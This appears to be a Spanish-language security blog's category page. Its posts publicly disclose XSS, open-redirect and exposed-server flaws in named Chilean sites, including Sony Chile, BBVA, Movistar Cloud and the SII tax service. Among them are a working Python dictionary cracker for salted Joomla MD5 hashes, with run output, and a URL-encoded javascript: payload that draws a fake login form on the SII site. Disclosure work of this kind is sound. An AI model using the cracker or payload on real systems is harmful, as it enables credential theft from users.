CategoríaSeguridad

Temas relacionados con seguridad informatica.

Como NO hacer un captcha: El caso de FeriaMix

Hace tiempo publiqué un XSS en FeriaMix, esta vez les mostraré la ineficiencia de un captcha en el mismo sitio. Todos sabemos que el captcha sirve para detectar que realmente es un humano quien está detrás del teclado y no un bot.

Captcha es el acrónimo de Completely Automated Public Turing test to tell Computers and Humans Apart (Prueba de Turing pública y automática para diferenciar máquinas y humanos).

En el sitio “recuperar contraseña” de FeriaMix pueden ver un captcha que aparentemente es “normal”,

Seguir leyendo

Sony Chile tambien es vulnerable: XSS y URI Redirection

Ultimamente se han registrado varios ataques a sitios de Sony en distintos paises y Chile no se queda atrás. Detectamos dos vulnerabilidades en el sitio web de Sony Chile correspondientes a Cross-Site Scripting y Arbitrary URL Redirection, las cuales pueden ser explotadas por un atacante para robar credenciales y datos personales de los usuarios y clientes, tambien es posible abusar de la confianza que tiene el usuario en el sitio para intentar instalar algun software malicioso o ejecucion de codigo malicioso.

La vulnerabilidad XSS se encuentra en el buscador y se debe a que no filtran ni parsean los parametros de entrada pasados por GET o por POST al script de busqueda. La URL vulnerable corresponde a https://www.sony.cl/corporate/CL/resultadosbusqueda.html.

La segunda vulnerabilidad nos permite redireccionar, mediante el header Location, a los visitantes a un sitio externo. El script o URL vulnerable es https://www.sony.cl/corporate/CL/doCustomerAuthentication, al pasarle mediante la variable REQ_PARAM_ACTUAL_PAGE cualquier URL, el usuario será redireccionado. Al pasar por ejemplo el parametro “REQ_PARAM_ACTUAL_PAGE=https://url.arbitraria” el servidor responde:

HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 May 2011 16:27:54 GMT
Server: Apache/2.2.11 (Unix) mod_jk/1.2.28 mod_ssl/2.2.11 OpenSSL/0.9.8k
X-Magnolia-Registration: Registered
Set-Cookie: JSESSIONID=BB3A23D11426B3254043627FD4FE768C.magnolia3; Path=/corporate
Location: https://url.arbitraria
Content-Length: 0
Content-Type: text/html;charset=UTF-8

Modificando la cabecera “Location” por la URL que nosotros indicamos.

Con una correcta verificación de errores y chequeo de seguridad es posible evitar lo que le ha pasado a Sony en distintos paises. Un poco de respeto por sus clientes 😉

Seguir leyendo

El Phishing y el Banco BBVA Chile

El banco BBVA Chile no se queda atras en sus vulnerabilidades y buscando donde poder reportarlas no he encontrado nada, solo teléfonos donde piden demasiada información personal. No hay ningun formulario ni correo electrónico, por lo que nuevamente se acude a la tecnica de la publicación.

Al igual que lo comentado en el post de El Phishing y el Banco Santander Chile, la idea es dar a conocer como los bancos se lavan las manos con sus campañas anti phishing y anti fraudes, pero no son capaces de ofrecer una plataforma lo suficientemente robusta. Nuevamente este tipo de vulnerabilidades afectan a los usuarios y no al banco directamente, permitiendo el robo de credenciales e información personal, suplantación de identidad, etc.

La vulnerabilidad Cross-Site Scripting detectada se encuentra en la página principal del banco https://www.bbva.cl y corresponde al buscador. El tipoco error de no parsear los parametros de entrada que se pasan por el forumlario o por URL (GET/POST).

La vulnerabilidad no ha sido reportada al banco ya que no se ha encontrado ningun método de contacto, pero se ha publicado en Secureless junto al mismo tipo de vulnerabilidad correspondiente al BBVA de Colombia.

Seguir leyendo

Joomla! Password Cracker

Saber como “hashea” las password el cms Joomla! no es algo muy complicado, no tiene ninguna ciencia y es muy facil de entender para intentar crackear algun password obtenido de alguna base de datos.
El hash en la base de datos tiene la forma de “HASH:SALT” y la forma en que genera el HASH es agregando el SALT al final de la password original, de esta forma: md5(password.SALT):SALT
Por ejemplo, si tenemos la password “foo” y el SALT “bar”, la forma de crear el hash sería:md5(foobar):bar
Lo que quedaría como 3858f62230ac3c915f300c664312c63f:bar

Por ejemplo, para probar con un hash mas real probaremos con  bd874661cb31eb7b612862725d0008f2:5LCuch6GA3Du5c3ywjxzlfPvXvvHZQel que corresponde a la password “test” concatenada con el SALT 5LCuch6GA3Du5c3ywjxzlfPvXvvHZQel:

md5(testbd874661cb31eb7b612862725d0008f2:5LCuch6GA3Du5c3ywjxzlfPvXvvHZQel) = bd874661cb31eb7b612862725d0008f2

Entonces, la forma de crackear usando por ejemplo un diccionario seria tan facil como “parsear” el SALT, concatenarlo a la palabra del diccionario, calcular su md5 y compararla con el valor que está antes de los “:” del hash. Para esto, hice el siguiente script en Python:

#!/usr/bin/python2

from hashlib import md5
import sys
import string

original = sys.argv[1].split(':')
_md5 = original[0]
_salt = original[1]
print 'Trying to crack ' + _md5 + ' SALTED with ' + _salt + '... '
for line in sys.stdin:
	line = line.strip()
	attempt = md5(line + _salt).hexdigest()
	if(attempt == _md5):
		print _md5 + ':' + _salt + ' --- Password Found: ' + line
		print 'Hapy hacking!'
		sys.exit(0)
print 'Password not found : - ('
sys.exit(1)

Intenemos crackear el hash correspondiente a la password “test”:

$ ./john -i --stdout|python2 joomla-cracker.py bd874661cb31eb7b612862725d0008f2:5LCuch6GA3Du5c3ywjxzlfPvXvvHZQel

Trying to crack bd874661cb31eb7b612862725d0008f2 SALTED with 5LCuch6GA3Du5c3ywjxzlfPvXvvHZQel...
bd874661cb31eb7b612862725d0008f2:5LCuch6GA3Du5c3ywjxzlfPvXvvHZQel
--- Password Found: test
Hapy hacking!
$

En este caso use “john the ripper” para generar un diccionario en el stdout pasandolo por stdin al script. Tambien se pueden usar diccionarios de la siguiente forma:

$ cat diccionario.txt|python2 joomla-cracker.py bd874661cb31eb7b612862725d0008f2:5LCuch6GA3Du5c3ywjxzlfPvXvvHZQel

Información sensible en el source html de Movistar Cloud


Movistar Cloud es un servicio de “disco virtual”, que permite a sus usuarios almacenar información “en la nube” para poder acceder a ellos desde cualquier lugar, algo asi como Dropbox.

Si accedemos al sitio y vemos el codigo fuente, podemos ver que hay un tag que está comentado, corresponde a un link hacia la URL de desarrollo de este sistema

Claramente corresponde a una url de desarrollo, donde tambien podemos ver que poniendo “~usuario” tambien podriamos acceder a otros desarrollos. Si navegamos hacia esa URL nos damos cuenta que el servidor se encuentra totalmente desprotegido y es posible acceder información sensible, podemos acceder a versiones anteriores y veresiones de prueba de este sistema.

No solo encontramos versiones de prueba y antiguas de Movistar Cloud, sino que tambien desarrollos de otros sistemas que hace esa empresa.

Movistar, siendo una empresa tan grande y ofreciendo servicios “en la nube“, donde los usuarios confian la seguridad sus archivos, no debería permitirse este tipo de cosas.

EDITADO: Un par de horas despues de haber publicado este post, se han contactado conmigo para informarme que el bug ha sido corregido y que el acceso al servidor de desarrollo ya se encuentra limitado.

Arbitrary URL Redirection y XSS en sitio web del S.I.I

Con esta vulnerabilidad es posible robar información sensible y suplantar la identidad del usuario.

Justo en la fecha de la devolución de impuestos aparece esta vulnerabilidad en el login del sistema. Permite redireccionar a un usuario, luego de logearse, a cualquier sitio e incluso permite el robo de cookies mediante ejecución arbitraria de javascript en el cliente.

La URL vulnerable es https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html que al agregarle al final “?https://alguna_url“, el usuario luego de iniciar sesión será redirigido hacia esa URL. Por ejemplo:

https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html?https://www.google.com

Luego de ingresar, seremos redirigidos a Google.

Tambien puede ser un javascript, por ejemplo mostrando las cookies de sesión:

O por ejemplo, usar javascript para dibujar un formulario que haga POST a un sitio remoto, capturando la información:

https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html?javascript:document.write%28%27%3Cform%20method=post%20action=%3Eusuario:%20%3Cinput%20type=text%3E%3Cbr%3Epass:%20%3Cinput%20type=password%3E%3Cbr%3E%3Cinput%20type=submit%20value=entrar%3E%27%29;

Abusando de la confianza que tiene el usuario sobre el sitio, con certificado SSL válido. De esta forma es posible obtener información confidencial de los usuarios, de forma transparente.

Nuevamente los sistemas informáticos dejan mucho que desear. Esta vulnerabilidad fue reportada la semana pasada mediante el formulario de contacto (el único medio disponible) pero no se obtuvo respuesta.